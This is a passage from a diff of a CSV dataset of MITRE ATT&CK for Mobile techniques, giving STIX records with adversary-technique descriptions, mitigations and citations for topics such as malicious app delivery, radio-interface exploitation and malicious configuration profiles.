Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1507', 'external_id': 'T1507'}]",1.0,attack-pattern,attack-pattern--e4c347e9-fb91-4bc5-83b8-391e389131e2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-07-10T15:18:16.753Z,2019-07-10T15:18:16.753Z,Network Information Discovery,"Adversaries may use device sensors to collect information about nearby networks, such as Wi-Fi and Bluetooth.",['collection'],https://attack.mitre.org/techniques/T1507,mitre-mobile-attack,T1507,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['Android'],,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1481', 'external_id': 'T1481'}]",1.0,attack-pattern,attack-pattern--c6a146ae-9c63-4606-97ff-e261e76e8380,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-02-01T17:29:43.503Z,2019-02-01T17:29:43.503Z,Web Service,"Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system. These commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. -Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).",attack-pattern--c6a146ae-9c63-4606-97ff-e261e76e8380,attack-pattern,['command-and-control'],2019-02-01T17:29:43.503Z,2019-02-01T17:29:43.503Z,,,,,,"['Android', 'iOS']",,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1475', 'external_id': 'T1475'}, {'external_id': 'ECO-4', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-4.html'}, {'external_id': 'ECO-16', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-16.html'}, {'external_id': 'ECO-17', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-17.html'}, {'external_id': 'APP-20', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html'}, {'external_id': 'APP-21', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html'}, {'external_id': 'ECO-22', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-22.html'}, {'url': 'http://dl.acm.org/citation.cfm?id=2592796', 'description': 'Thanasis Petsas, Giannis Voyatzis, Elias Athanasopoulos, Michalis Polychronakis, Sotiris Ioannidis. (2014, April). Rage Against the Virtual Machine: Hindering Dynamic Analysis of Android Malware. Retrieved December 12, 2016.', 'source_name': 'Petsas'}, {'url': 'https://jon.oberheide.org/files/summercon12-bouncer.pdf', 'description': 'Jon Oberheide and Charlie Miller. (2012). Dissecting the Android Bouncer. Retrieved December 12, 2016.', 'source_name': 'Oberheide-Bouncer'}, {'url': 'https://media.blackhat.com/bh-us-12/Briefings/Percoco/BH_US_12_Percoco_Adventures_in_Bouncerland_WP.pdf', 'description': 'Nicholas J. Percoco and Sean Schulte. (2012). Adventures in BouncerLand. Retrieved December 12, 2016.', 'source_name': 'Percoco-Bouncer'}, {'url': 'https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang_tielei', 'description': 'Tielei Wang, Kangjie Lu, Long Lu, Simon Chung, and Wenke Lee. (2013, August). Jekyll on iOS: When Benign Apps Become Evil. Retrieved December 9, 2016.', 'source_name': 'Wang'}, {'url': 'https://jon.oberheide.org/blog/2010/06/25/remote-kill-and-install-on-google-android/', 'description': 'Jon Oberheide. (2010, June 25). Remote Kill and Install on Google Android. Retrieved December 12, 2016.', 'source_name': 'Oberheide-RemoteInstall'}, {'url': 'http://www.vvdveen.com/publications/BAndroid.pdf', 'description': 'Radhesh Krishnan Konoth, Victor van der Veen, and Herbert Bos. (n.d.). How Anywhere Computing Just Killed Your Phone-Based Two-Factor Authentication. Retrieved December 12, 2016.', 'source_name': 'Konoth'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}]",1.1,,https://attack.mitre.org/techniques/T1475,mitre-mobile-attack,T1475,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Deliver Malicious App via Authorized App Store,"Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. Mobile devices often are configured to allow application installation only from an authorized app store (e.g., Google Play Store or Apple App Store). An adversary may seek to place a malicious application in an authorized app store, enabling the application to be installed onto targeted devices. - -App stores typically require developer registration and use vetting techniques to identify malicious applications. Adversaries may use these techniques against app store defenses: - -* [Download New Code at Runtime](https://attack.mitre.org/techniques/T1407) -* [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1406) - -Adversaries may also seek to evade vetting by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis. (Citation: Petsas) (Citation: Oberheide-Bouncer) (Citation: Percoco-Bouncer) (Citation: Wang) - -Adversaries may also use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. (Citation: Oberheide-Bouncer) - -Adversaries may also use control of a target's Google account to use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account. (Citation: Oberheide-RemoteInstall) (Citation: Konoth) (Only applications that are available for download through the Google Play Store can be remotely installed using this technique.)",attack-pattern--d9db3d46-66ca-44b4-9daa-1ef97cb7465a,attack-pattern,['initial-access'],2019-10-14T17:42:49.817Z,2018-10-17T00:14:20.652Z,"* An EMM/MDM or mobile threat defense solution can identify the presence of unwanted or known insecure or malicious apps on devices. -* Developers can scan (or have a third party scan on their behalf) the app stores for presence of unauthorized apps that were submitted using the developer's identity.",,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1078,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'external_id': 'T1474', 'url': 'https://attack.mitre.org/techniques/T1474'}, {'external_id': 'APP-6', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html'}, {'source_name': 'NowSecure-RemoteCode', 'description': 'Ryan Welton. (2015, June 15). A Pattern for Remote Code Execution using Arbitrary File Writes and MultiDex Applications. Retrieved December 22, 2016.', 'url': 'https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/'}, {'source_name': 'Grace-Advertisement', 'description': 'M. Grace et al. (2012, April 16-18). Unsafe exposure analysis of mobile in-app advertisements. Retrieved December 22, 2016.', 'url': 'https://www.csc2.ncsu.edu/faculty/xjiang4/pubs/WISEC12_ADRISK.pdf'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}]",1.1,False,https://attack.mitre.org/techniques/T1474,mitre-mobile-attack,T1474,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Supply Chain Compromise,"As further described in [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Somewhat related, adversaries could also identify and exploit inadvertently present vulnerabilities. In many cases, it may be difficult to be certain whether exploitable functionality is due to malicious intent or simply inadvertent mistake. - -Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities. For example, security issues have previously been identified in third-party advertising libraries incorporated into apps.(Citation: NowSecure-RemoteCode)(Citation: Grace-Advertisement).",attack-pattern--0d95940f-9583-4e0f-824c-a42c1be47fad,attack-pattern,['initial-access'],2021-03-10T21:06:37.536Z,2018-10-17T00:14:20.652Z,"* Insecure third-party libraries could be detected by application vetting techniques. For example, Google's [App Security Improvement Program](https://developer.android.com/google/play/asi) detects the use of third-party libraries with known vulnerabilities within Android apps submitted to the Google Play Store. -* Malicious software development tools could be detected by enterprises deploying integrity checking software to the computers that they use to develop code to detect presence of unauthorized, modified software development tools.",,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1077,,,,,['Post-Adversary Device Access'] -"[{'external_id': 'T1476', 'url': 'https://attack.mitre.org/techniques/T1476', 'source_name': 'mitre-mobile-attack'}, {'url': 'https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-9.html', 'source_name': 'NIST Mobile Threat Catalogue', 'external_id': 'AUT-9'}, {'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-13.html', 'source_name': 'NIST Mobile Threat Catalogue', 'external_id': 'ECO-13'}, {'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-21.html', 'source_name': 'NIST Mobile Threat Catalogue', 'external_id': 'ECO-21'}, {'description': 'A Prasad. (2016, February 19). Danger lurks in third-party Android app stores. Retrieved November 8, 2018.', 'url': 'https://www.ibtimes.co.uk/danger-lurks-third-party-android-app-stores-1544861', 'source_name': 'IBTimes-ThirdParty'}, {'description': 'Jordan Pan. (2016, February 10). User Beware: Rooting Malware Found in 3rd Party App Stores. Retrieved November 8, 2018.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/user-beware-rooting-malware-found-in-3rd-party-app-stores/', 'source_name': 'TrendMicro-RootingMalware'}, {'description': 'Veo Zhang. (2014, February 18). Flappy Bird and Third-Party App Stores. Retrieved November 8, 2018.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/flappy-bird-and-third-party-app-stores/', 'source_name': 'TrendMicro-FlappyBird'}, {'description': 'Lukáš Štefanko. (2018, December 11). Android Trojan steals money from PayPal accounts even with 2FA on. Retrieved July 11, 2019.', 'url': 'https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/', 'source_name': 'android-trojan-steals-paypal-2fa'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}]",1.2,False,https://attack.mitre.org/techniques/T1476,mitre-mobile-attack,T1476,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Deliver Malicious App via Other Means,"Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working. +Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).",['command-and-control'],https://attack.mitre.org/techniques/T1481,mitre-mobile-attack,T1481,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1476', 'external_id': 'T1476'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-9.html', 'external_id': 'AUT-9'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-13.html', 'external_id': 'ECO-13'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-21.html', 'external_id': 'ECO-21'}, {'source_name': 'IBTimes-ThirdParty', 'description': 'A Prasad. (2016, February 19). Danger lurks in third-party Android app stores. Retrieved November 8, 2018.', 'url': 'https://www.ibtimes.co.uk/danger-lurks-third-party-android-app-stores-1544861'}, {'source_name': 'TrendMicro-RootingMalware', 'description': 'Jordan Pan. (2016, February 10). User Beware: Rooting Malware Found in 3rd Party App Stores. Retrieved November 8, 2018.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/user-beware-rooting-malware-found-in-3rd-party-app-stores/'}, {'source_name': 'TrendMicro-FlappyBird', 'description': 'Veo Zhang. (2014, February 18). Flappy Bird and Third-Party App Stores. Retrieved November 8, 2018.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/flappy-bird-and-third-party-app-stores/'}, {'source_name': 'android-trojan-steals-paypal-2fa', 'description': 'Lukáš Štefanko. (2018, December 11). Android Trojan steals money from PayPal accounts even with 2FA on. Retrieved July 11, 2019.', 'url': 'https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/'}]",1.2,attack-pattern,attack-pattern--53263a67-075e-48fa-974b-91c5b5445db7,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-10-17T00:14:20.652Z,2021-02-09T14:28:47.076Z,Deliver Malicious App via Other Means,"Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working. Delivery methods for the malicious application include: @@ -4140,10 +3750,10 @@ Delivery methods for the malicious application include: * [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) - Including a link to the mobile app package within an email, text message (e.g. SMS, iMessage, Hangouts, WhatsApp, etc.), web site, QR code, or other means. * Third-Party App Store - Installed from a third-party app store (as opposed to an authorized app store that the device implicitly trusts as part of its default behavior), which may not apply the same level of scrutiny to apps as applied by an authorized app store.(Citation: IBTimes-ThirdParty)(Citation: TrendMicro-RootingMalware)(Citation: TrendMicro-FlappyBird) -Some Android malware comes with functionality to install additional applications, either automatically or when the adversary instructs it to.(Citation: android-trojan-steals-paypal-2fa)",attack-pattern--53263a67-075e-48fa-974b-91c5b5445db7,attack-pattern,['initial-access'],2021-02-09T14:28:47.076Z,2018-10-17T00:14:20.652Z,"* An EMM/MDM or mobile threat defense solution may be able to identify the presence of apps installed from sources other than an authorized app store. +Some Android malware comes with functionality to install additional applications, either automatically or when the adversary instructs it to.(Citation: android-trojan-steals-paypal-2fa)",['initial-access'],https://attack.mitre.org/techniques/T1476,mitre-mobile-attack,T1476,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"* An EMM/MDM or mobile threat defense solution may be able to identify the presence of apps installed from sources other than an authorized app store. * An EMM/MDM or mobile threat defense solution may be able to identify Android devices configured to allow apps to be installed from ""Unknown Sources"". -* Enterprise email security solutions can identify the presence of Android or iOS application packages within email messages.",,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1079,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1477', 'external_id': 'T1477'}, {'description': ""Gal Beniamini. (2017, April 4). Over The Air: Exploiting Broadcom's Wi-Fi Stack. Retrieved November 8, 2018."", 'url': 'https://googleprojectzero.blogspot.com/2017/04/over-air-exploiting-broadcoms-wi-fi_4.html', 'source_name': 'ProjectZero-BroadcomWiFi'}, {'source_name': 'Register-BaseStation', 'description': 'D. Pauli. (2015, November 12). Samsung S6 calls open to man-in-the-middle base station snooping. Retrieved December 23, 2016.', 'url': 'http://www.theregister.co.uk/2015/11/12/mobile_pwn2own1/'}, {'source_name': 'Weinmann-Baseband', 'description': 'R. Weinmann. (2012, August 6-7). Baseband Attacks: Remote Exploitation of Memory Corruptions in Cellular Protocol Stacks. Retrieved December 23, 2016.', 'url': 'https://www.usenix.org/system/files/conference/woot12/woot12-final24.pdf'}, {'source_name': 'Forbes-iPhoneSMS', 'description': ""Andy Greenberg. (2009, July 28). How to Hijack 'Every iPhone In The World'. Retrieved December 23, 2016."", 'url': 'http://www.forbes.com/2009/07/28/hackers-iphone-apple-technology-security-hackers.html'}, {'source_name': 'SRLabs-SIMCard', 'description': 'SRLabs. (n.d.). SIM cards are prone to remote hacking. Retrieved December 23, 2016.', 'url': 'https://srlabs.de/bites/rooting-sim-cards/'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}]",1.1,,https://attack.mitre.org/techniques/T1477,mitre-mobile-attack,T1477,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exploit via Radio Interfaces,"The mobile device may be targeted for exploitation through its interface to cellular networks or other radio interfaces. +* Enterprise email security solutions can identify the presence of Android or iOS application packages within email messages.",False,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1079 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1477', 'external_id': 'T1477'}, {'source_name': 'ProjectZero-BroadcomWiFi', 'description': ""Gal Beniamini. (2017, April 4). Over The Air: Exploiting Broadcom's Wi-Fi Stack. Retrieved November 8, 2018."", 'url': 'https://googleprojectzero.blogspot.com/2017/04/over-air-exploiting-broadcoms-wi-fi_4.html'}, {'source_name': 'Register-BaseStation', 'description': 'D. Pauli. (2015, November 12). Samsung S6 calls open to man-in-the-middle base station snooping. Retrieved December 23, 2016.', 'url': 'http://www.theregister.co.uk/2015/11/12/mobile_pwn2own1/'}, {'source_name': 'Weinmann-Baseband', 'description': 'R. Weinmann. (2012, August 6-7). Baseband Attacks: Remote Exploitation of Memory Corruptions in Cellular Protocol Stacks. Retrieved December 23, 2016.', 'url': 'https://www.usenix.org/system/files/conference/woot12/woot12-final24.pdf'}, {'source_name': 'Forbes-iPhoneSMS', 'description': ""Andy Greenberg. (2009, July 28). How to Hijack 'Every iPhone In The World'. Retrieved December 23, 2016."", 'url': 'http://www.forbes.com/2009/07/28/hackers-iphone-apple-technology-security-hackers.html'}, {'source_name': 'SRLabs-SIMCard', 'description': 'SRLabs. (n.d.). SIM cards are prone to remote hacking. Retrieved December 23, 2016.', 'url': 'https://srlabs.de/bites/rooting-sim-cards/'}]",1.1,attack-pattern,attack-pattern--2d646840-f6f5-4619-a5a8-29c8316bbac5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-10-17T00:14:20.652Z,2019-02-03T15:19:22.439Z,Exploit via Radio Interfaces,"The mobile device may be targeted for exploitation through its interface to cellular networks or other radio interfaces. ### Baseband Vulnerability Exploitation @@ -4151,22 +3761,39 @@ A message sent over a radio interface (typically cellular, but potentially Bluet ### Malicious SMS Message -An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device(Citation: Forbes-iPhoneSMS). An SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser. Vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages(Citation: SRLabs-SIMCard).",attack-pattern--2d646840-f6f5-4619-a5a8-29c8316bbac5,attack-pattern,['initial-access'],2019-02-03T15:19:22.439Z,2018-10-17T00:14:20.652Z,,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1080,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1478', 'external_id': 'T1478'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-7.html', 'external_id': 'STA-7'}, {'source_name': 'Symantec-iOSProfile', 'description': 'Yair Amit. (2013, March 12). Malicious Profiles – The Sleeping Giant of iOS Security. Retrieved September 24, 2018.', 'url': 'https://www.symantec.com/connect/blogs/malicious-profiles-sleeping-giant-ios-security'}, {'source_name': 'Talos-MDM', 'description': 'Warren Mercer, Paul Rascagneres, Andrew Williams. (2018, July 12). Advanced Mobile Malware Campaign in India uses Malicious MDM. Retrieved September 24, 2018.', 'url': 'https://blog.talosintelligence.com/2018/07/Mobile-Malware-Campaign-uses-Malicious-MDM.html'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}]",1.0,,https://attack.mitre.org/techniques/T1478,mitre-mobile-attack,T1478,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Install Insecure or Malicious Configuration,"An adversary could attempt to install insecure or malicious configuration settings on the mobile device, through means such as phishing emails or text messages either directly containing the configuration settings as an attachment, or containing a web link to the configuration settings. The device user may be tricked into installing the configuration settings through social engineering techniques (Citation: Symantec-iOSProfile). +An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device(Citation: Forbes-iPhoneSMS). An SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser. Vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages(Citation: SRLabs-SIMCard).",['initial-access'],https://attack.mitre.org/techniques/T1477,mitre-mobile-attack,T1477,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1080 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1478', 'external_id': 'T1478'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-7.html', 'external_id': 'STA-7'}, {'source_name': 'Symantec-iOSProfile', 'description': 'Yair Amit. (2013, March 12). Malicious Profiles – The Sleeping Giant of iOS Security. Retrieved September 24, 2018.', 'url': 'https://www.symantec.com/connect/blogs/malicious-profiles-sleeping-giant-ios-security'}, {'source_name': 'Talos-MDM', 'description': 'Warren Mercer, Paul Rascagneres, Andrew Williams. (2018, July 12). Advanced Mobile Malware Campaign in India uses Malicious MDM. Retrieved September 24, 2018.', 'url': 'https://blog.talosintelligence.com/2018/07/Mobile-Malware-Campaign-uses-Malicious-MDM.html'}]",1.0,attack-pattern,attack-pattern--cde2cb84-455e-410c-8aa9-086f2788bcd2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-10-17T00:14:20.652Z,2021-11-01T18:29:08.293Z,Install Insecure or Malicious Configuration,"An adversary could attempt to install insecure or malicious configuration settings on the mobile device, through means such as phishing emails or text messages either directly containing the configuration settings as an attachment, or containing a web link to the configuration settings. The device user may be tricked into installing the configuration settings through social engineering techniques (Citation: Symantec-iOSProfile). + +For example, an unwanted Certification Authority (CA) certificate could be placed in the device's trusted certificate store, increasing the device's susceptibility to adversary-in-the-middle network attacks seeking to eavesdrop on or manipulate the device's network communication ([Eavesdrop on Insecure Network Communication](https://attack.mitre.org/techniques/T1439) and [Manipulate Device Communication](https://attack.mitre.org/techniques/T1463)). + +On iOS, malicious Configuration Profiles could contain unwanted Certification Authority (CA) certificates or other insecure settings such as unwanted proxy server or VPN settings to route the device's network traffic through an adversary's system. The device could also potentially be enrolled into a malicious Mobile Device Management (MDM) system (Citation: Talos-MDM).","['defense-evasion', 'initial-access']",https://attack.mitre.org/techniques/T1478,mitre-mobile-attack,T1478,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"On Android, the user can view trusted CA certificates through the device settings and look for unexpected certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. + +On iOS, the user can view installed Configuration Profiles through the device settings and look for unexpected profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.",False,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1081 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1475', 'external_id': 'T1475'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-4.html', 'external_id': 'ECO-4'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-16.html', 'external_id': 'ECO-16'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-17.html', 'external_id': 'ECO-17'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html', 'external_id': 'APP-20'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html', 'external_id': 'APP-21'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-22.html', 'external_id': 'ECO-22'}, {'source_name': 'Petsas', 'description': 'Thanasis Petsas, Giannis Voyatzis, Elias Athanasopoulos, Michalis Polychronakis, Sotiris Ioannidis. (2014, April). Rage Against the Virtual Machine: Hindering Dynamic Analysis of Android Malware. Retrieved December 12, 2016.', 'url': 'http://dl.acm.org/citation.cfm?id=2592796'}, {'source_name': 'Oberheide-Bouncer', 'description': 'Jon Oberheide and Charlie Miller. (2012). Dissecting the Android Bouncer. Retrieved December 12, 2016.', 'url': 'https://jon.oberheide.org/files/summercon12-bouncer.pdf'}, {'source_name': 'Percoco-Bouncer', 'description': 'Nicholas J. Percoco and Sean Schulte. (2012). Adventures in BouncerLand. Retrieved December 12, 2016.', 'url': 'https://media.blackhat.com/bh-us-12/Briefings/Percoco/BH_US_12_Percoco_Adventures_in_Bouncerland_WP.pdf'}, {'source_name': 'Wang', 'description': 'Tielei Wang, Kangjie Lu, Long Lu, Simon Chung, and Wenke Lee. (2013, August). Jekyll on iOS: When Benign Apps Become Evil. Retrieved December 9, 2016.', 'url': 'https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang_tielei'}, {'source_name': 'Oberheide-RemoteInstall', 'description': 'Jon Oberheide. (2010, June 25). Remote Kill and Install on Google Android. Retrieved December 12, 2016.', 'url': 'https://jon.oberheide.org/blog/2010/06/25/remote-kill-and-install-on-google-android/'}, {'source_name': 'Konoth', 'description': 'Radhesh Krishnan Konoth, Victor van der Veen, and Herbert Bos. (n.d.). How Anywhere Computing Just Killed Your Phone-Based Two-Factor Authentication. Retrieved December 12, 2016.', 'url': 'http://www.vvdveen.com/publications/BAndroid.pdf'}]",1.1,attack-pattern,attack-pattern--d9db3d46-66ca-44b4-9daa-1ef97cb7465a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-10-17T00:14:20.652Z,2019-10-14T17:42:49.817Z,Deliver Malicious App via Authorized App Store,"Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. Mobile devices often are configured to allow application installation only from an authorized app store (e.g., Google Play Store or Apple App Store). An adversary may seek to place a malicious application in an authorized app store, enabling the application to be installed onto targeted devices. -For example, an unwanted Certification Authority (CA) certificate could be placed in the device's trusted certificate store, increasing the device's susceptibility to man-in-the-middle network attacks seeking to eavesdrop on or manipulate the device's network communication ([Eavesdrop on Insecure Network Communication](https://attack.mitre.org/techniques/T1439) and [Manipulate Device Communication](https://attack.mitre.org/techniques/T1463)). +App stores typically require developer registration and use vetting techniques to identify malicious applications. Adversaries may use these techniques against app store defenses: + +* [Download New Code at Runtime](https://attack.mitre.org/techniques/T1407) +* [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1406) + +Adversaries may also seek to evade vetting by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis. (Citation: Petsas) (Citation: Oberheide-Bouncer) (Citation: Percoco-Bouncer) (Citation: Wang) + +Adversaries may also use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. (Citation: Oberheide-Bouncer) -On iOS, malicious Configuration Profiles could contain unwanted Certification Authority (CA) certificates or other insecure settings such as unwanted proxy server or VPN settings to route the device's network traffic through an adversary's system. The device could also potentially be enrolled into a malicious Mobile Device Management (MDM) system (Citation: Talos-MDM).",attack-pattern--cde2cb84-455e-410c-8aa9-086f2788bcd2,attack-pattern,"['defense-evasion', 'initial-access']",2018-10-17T00:14:20.652Z,2018-10-17T00:14:20.652Z,"On Android, the user can view trusted CA certificates through the device settings and look for unexpected certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. +Adversaries may also use control of a target's Google account to use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account. (Citation: Oberheide-RemoteInstall) (Citation: Konoth) (Only applications that are available for download through the Google Play Store can be remotely installed using this technique.)",['initial-access'],https://attack.mitre.org/techniques/T1475,mitre-mobile-attack,T1475,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"* An EMM/MDM or mobile threat defense solution can identify the presence of unwanted or known insecure or malicious apps on devices. +* Developers can scan (or have a third party scan on their behalf) the 